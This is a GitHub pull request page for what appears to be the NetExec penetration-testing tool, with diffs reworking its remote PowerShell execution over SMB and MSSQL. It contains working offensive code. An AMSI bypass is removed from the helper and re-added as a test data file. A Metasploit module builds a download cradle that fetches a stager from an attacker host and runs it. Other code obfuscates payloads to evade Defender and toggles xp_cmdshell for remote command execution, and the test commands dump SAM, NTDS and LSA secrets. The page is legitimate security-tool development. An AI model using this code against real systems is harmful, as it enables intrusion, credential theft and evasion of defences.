Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Refactor/fix/update PowerShell and related features #296

Merged
merged 23 commits into from
May 20, 2024
Merged
Changes from all commits
Commits
Show all changes
23 commits
Select commit Hold shift + click to select a range
b219e8f
pwsh: remove commented code and remove easily detected amsi bypass (d…
Marshall-Hallenbeck May 8, 2024
e342c3e
tests: add what was our default amsi bypass for testing
Marshall-Hallenbeck May 8, 2024
04df1e7
smb: properly obfs or not depending on args
Marshall-Hallenbeck May 8, 2024
2172231
refactor: remove unnecessary new lines
Marshall-Hallenbeck May 8, 2024
eb9bf61
powershell: update powershell parameters, clean up code, and add debu…
Marshall-Hallenbeck May 9, 2024
85bcbf3
fix(powershell): fix running via ps32, both with and without obfuscation
Marshall-Hallenbeck May 9, 2024
90877dd
feat(tests): allow for specifying certain line numbers, allow for pri…
Marshall-Hallenbeck May 10, 2024
27014a5
feat(powershell): large amount of fixes and improvements
Marshall-Hallenbeck May 10, 2024
ca74acd
fix(met_inject): simplify metasploit cradle, add logging, and update …
Marshall-Hallenbeck May 10, 2024
27a0b78
tests: add and update tests related to powershell
Marshall-Hallenbeck May 10, 2024
c56f087
Merge branch 'main' into marshall-pwsh-update
Marshall-Hallenbeck May 12, 2024
7b5306c
Merge branch 'main' into marshall-pwsh-update
NeffIsBack May 17, 2024
0910b98
docs: update options to clarify what certain flags are for
Marshall-Hallenbeck May 17, 2024
ca32918
update error when execution is blocked by AMSI
Marshall-Hallenbeck May 17, 2024
e4925d3
clarify debug message
Marshall-Hallenbeck May 17, 2024
4ae0854
remove excess tab
Marshall-Hallenbeck May 17, 2024
6213c64
remove blank line
Marshall-Hallenbeck May 17, 2024
736db4d
update force_ps32 if/then for readability (and add Ruff ignore - blam…
Marshall-Hallenbeck May 17, 2024
cd088a0
fix(ruff): ignore oneliner alert
Marshall-Hallenbeck May 17, 2024
447d171
Add exec methods to e2e tests
NeffIsBack May 20, 2024
f865502
fix(smb): change command output back to match mssql (one big blob)
Marshall-Hallenbeck May 20, 2024
e10e38f
Merge branch 'main' into marshall-pwsh-update
Marshall-Hallenbeck May 20, 2024
23a7d11
fix: revert output for command execution and normalize it to what SMB…
Marshall-Hallenbeck May 20, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
98 changes: 45 additions & 53 deletions nxc/helpers/powershell.py
Original file line number Diff line number Diff line change
@@ -12,6 +12,20 @@

obfuscate_ps_scripts = False

def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
Args:
----
s (str): The string to replace single quotes in.
Returns:
-------
str: Original string with single quotes replaced with double.
"""
return s.replace("'", r"\"")

def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script):



def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
Args:
----
ps_command (str): The PowerShell command to be executed.
force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
Returns:
-------
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")

if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
lines = list(file_in)
amsi_bypass = "".join(lines)
else:
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
"""

command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command
amsi_bypass = ""

# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"

nxc_logger.debug(f"Generated PS command:\n {command}\n")

# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
# of dealing with this it will use the partial python implementation that I stole from GreatSCT
# (https://github.com/GreatSCT/GreatSCT) <3

"""
if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='nxc_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
encoding = random.choice(encoding_types)
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
temp.name,
encoding)
nxc_logger.debug(invoke_obfs_command)
out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
nxc_logger.debug('Command length: {}'.format(len(command)))
if len(command) <= 8192:
temp.close()
break
encoding_types.remove(encoding)
else:
"""
if not dont_obfs:
if obfs:
nxc_logger.debug("Obfuscating PowerShell command")
obfs_attempts = 0
while True:
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"'
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)

command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break

if obfs_attempts == 4:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)

nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...")
obfs_attempts += 1
else:
command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}"
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"

if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)


nxc_logger.debug(f"Final command: {command}")
return command


@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string):
-------
str: The obfuscated payload for execution.
"""
nxc_logger.debug(f"Command before obfuscation: {script_string}")
random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase)
random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)]

@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string):
choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression,
]

return choice(invoke_options)
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script

44 changes: 22 additions & 22 deletions nxc/modules/met_inject.py
Original file line number Diff line number Diff line change
@@ -27,6 +27,8 @@ def options(self, context, module_options):
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -35,8 +37,11 @@ def options(self, context, module_options):
windows/x64/powershell_reverse_tcp_ssl
Web Delivery Method (exploit/multi/script/web_delivery):
Set SRVHOST and SRVPORT
Set target 2 (PSH)
Set payload to what you want (windows/meterpreter/reverse_https, etc)
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
check compatabile payloads with `show payloads`
Optional: SET URIPATH {custom}
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
"""
self.met_ssl = "https"

@@ -53,24 +58,19 @@ def options(self, context, module_options):
self.srvport = module_options["SRVPORT"]

def on_admin_login(self, context, connection):
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
command = """$url="{}://{}:{}/{}"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessInfo.FileName=$PowershellExe
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
$ProcessInfo.UseShellExecute = $False
$ProcessInfo.RedirectStandardOutput = $True
$ProcessInfo.CreateNoWindow = $True
$ProcessInfo.WindowStyle = "Hidden"
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
"http" if self.met_ssl == "http" else "https",
self.srvhost,
self.srvport,
self.rand,
)
context.log.debug(command)
connection.ps_execute(command, force_ps32=True)
context.log.success("Executed payload")
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")

# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")

output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")

if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
context.log.success("Executed payload")
69 changes: 41 additions & 28 deletions nxc/protocols/mssql.py
Original file line number Diff line number Diff line change
@@ -2,6 +2,7 @@
import random
import socket
import contextlib
from io import StringIO

from nxc.config import process_secret
from nxc.connection import connection
@@ -300,42 +301,54 @@ def mssql_query(self):

@requires_admin
def execute(self, payload=None, get_output=False):
if not payload and self.args.execute:
payload = self.args.execute

if not self.args.no_output:
get_output = True

self.logger.info(f"Command to execute: {payload}")
payload = self.args.execute if not payload and self.args.execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None

get_output = True if not self.args.no_output else get_output
self.logger.debug(f"{get_output=}")

try:
exec_method = MSSQLEXEC(self.conn, self.logger)
raw_output = exec_method.execute(payload, get_output)
output = exec_method.execute(payload)
self.logger.debug(f"Output: {output}")
except Exception as e:
self.logger.fail(f"Execute command failed, error: {e!s}")
return False
else:
self.logger.success("Executed command via mssqlexec")
if raw_output:
for line in raw_output:
self.logger.highlight(line)
Marshall-Hallenbeck marked this conversation as resolved.
Show resolved Hide resolved
return raw_output
self.logger.success("Executed command via mssqlexec")
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
return output

@requires_admin
def ps_execute(
self,
payload=None,
get_output=False,
force_ps32=False,
dont_obfs=False,
):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True

# We're disabling PS obfuscation by default as it breaks the MSSQLEXEC execution method
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None

response = []
obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output

self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")

if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)]

self.logger.debug(f"ps_execute response: {response}")
return response

@requires_admin
def put_file(self):
69 changes: 42 additions & 27 deletions nxc/protocols/mssql/mssqlexec.py
Original file line number Diff line number Diff line change
@@ -5,70 +5,85 @@ class MSSQLEXEC:
def __init__(self, connection, logger):
self.mssql_conn = connection
self.logger = logger
self.outputBuffer = []

def execute(self, command, output=False):
def execute(self, command):
result = None
try:
self.logger.debug("Attempting to enable xp cmd shell")
self.enable_xp_cmdshell()
except Exception as e:
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")

try:
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
cmd = f"exec master..xp_cmdshell '{command}'"
self.logger.debug(f"Attempting to execute query: {cmd}")
result = self.mssql_conn.sql_query(cmd)
self.logger.debug(f"Raw results from query: {result}")
if result:
result = "\n".join(line["output"] for line in result if line["output"] != "NULL")
self.logger.debug(f"Concatenated result together for easier parsing: {result}")
# if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
if "Preparing modules for first use" in result and "Completed" not in result:
self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command")
except Exception as e:
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")

try:
self.logger.debug("Attempting to disable xp cmd shell")
self.disable_xp_cmdshell()
except Exception as e:
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")

if output:
self.logger.debug(f"SQL Query Result: {result}")
for row in result:
if row["output"] == "NULL":
continue
self.outputBuffer.append(row["output"])
else:
self.logger.info("Output set to disabled")

return self.outputBuffer
return result

def enable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)

def disable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)

def enable_ole(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)

def disable_ole(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)

def put_file(self, data, remote):
try:
self.enable_ole()
hexdata = data.hex()
self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
self.logger.debug(f"Hex data to write to file: {hexdata}")
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.disable_ole()
except Exception as e:
self.logger.debug(f"Error uploading via mssqlexec: {e}")

def file_exists(self, remote):
try:
res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
return res == 1
query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
self.logger.debug(f"Executing query: {query}")
res = self.mssql_conn.batch(query)
self.logger.debug(f"File check response: {res}")
return res[0]["n"] == 1
except Exception:
return False

def get_file(self, remote, local):
try:
self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
data = self.mssql_conn.rows[0]["BulkColumn"]

query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
data = self.mssql_conn.rows
self.logger.debug(f"Get file returned: {data}")
with open(local, "wb+") as f:
f.write(binascii.unhexlify(data))

f.write(binascii.unhexlify(data[0]["BulkColumn"]))
except Exception as e:
self.logger.debug(f"Error downloading via mssqlexec: {e}")
8 changes: 5 additions & 3 deletions nxc/protocols/mssql/proto_args.py
Original file line number Diff line number Diff line change
@@ -10,15 +10,17 @@ def proto_args(parser, std_parser, module_parser):
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")

cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")

psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup = mssql_parser.add_argument_group("Powershell Options", "Options for PowerShell execution")
psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout")
psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass")
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")

tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
50 changes: 30 additions & 20 deletions nxc/protocols/smb.py
Original file line number Diff line number Diff line change
@@ -681,41 +681,50 @@ def execute(self, payload=None, get_output=False, methods=None):
except UnicodeDecodeError:
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
output = output.decode("cp437")

output = output.strip()
self.logger.debug(f"Output: {output}")

self.logger.debug(f"Raw Output: {output}")
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
self.logger.debug(f"Cleaned Output: {output}")

if "This script contains malicious content" in output:
self.logger.fail("Command execution blocked by AMSI")
return None

if (self.args.execute or self.args.ps_execute) and output:
self.logger.success(f"Executed command via {current_method}")
buf = StringIO(output).readlines()
for line in buf:
output_lines = StringIO(output).readlines()
for line in output_lines:
self.logger.highlight(line.strip())
return output
else:
self.logger.fail(f"Execute command failed with {current_method}")
return False

@requires_admin
def ps_execute(
self,
payload=None,
get_output=False,
methods=None,
force_ps32=False,
dont_obfs=False,
):
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None

response = []
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output:
get_output = True

obfs = obfs if obfs else self.args.obfs
encode = encode if encode else not self.args.no_encode
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
get_output = True if not self.args.no_output else get_output

self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")

if os.path.isfile(payload):
self.logger.debug(f"File payload set: {payload}")
with open(payload) as commands:
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods) for c in commands]
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
else:
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)]
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]

self.logger.debug(f"ps_execute response: {response}")
return response

def shares(self):
@@ -1289,6 +1298,7 @@ def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)


def enable_remoteops(self):
try:
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
11 changes: 7 additions & 4 deletions nxc/protocols/smb/proto_args.py
Original file line number Diff line number Diff line change
@@ -68,15 +68,18 @@ def proto_args(parser, std_parser, module_parser):
cgroup.add_argument("--dcom-timeout", help="DCOM connection timeout, default is 5 secondes", type=int, default=5)
cgroup.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results, default is 5", type=int, default=5)
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")

cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
cegroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")

psgroup = smb_parser.add_argument_group("Powershell Options", "Options for PowerShell execution")
psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout")
psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this")
psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass")
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")

return parser

12 changes: 8 additions & 4 deletions nxc/protocols/smb/wmiexec.py
Original file line number Diff line number Diff line change
@@ -148,16 +148,20 @@ def get_output_remote(self):
break
except Exception as e:
if tries >= self.__tries:
self.logger.fail("WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
break
if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
elif str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
break
elif str(e).find("STATUS_VIRUS_INFECTED") >= 0:
self.logger.fail("Command did not run because a virus was detected")
break

if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
sleep(2)
tries += 1
else:
self.logger.debug(str(e))
self.logger.debug(f"Exception when trying to read output file: {e}")
tries += 1

if self.__outputBuffer:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
4 changes: 4 additions & 0 deletions tests/data/test_amsi_bypass.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
}catch{}
47 changes: 40 additions & 7 deletions tests/e2e_commands.txt
Original file line number Diff line number Diff line change
@@ -20,9 +20,26 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
##### SMB PowerShell
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass tests/data/test_amsi_bypass.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass tests/data/test_amsi_bypass.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass tests/data/test_amsi_bypass.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass tests/data/test_amsi_bypass.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode
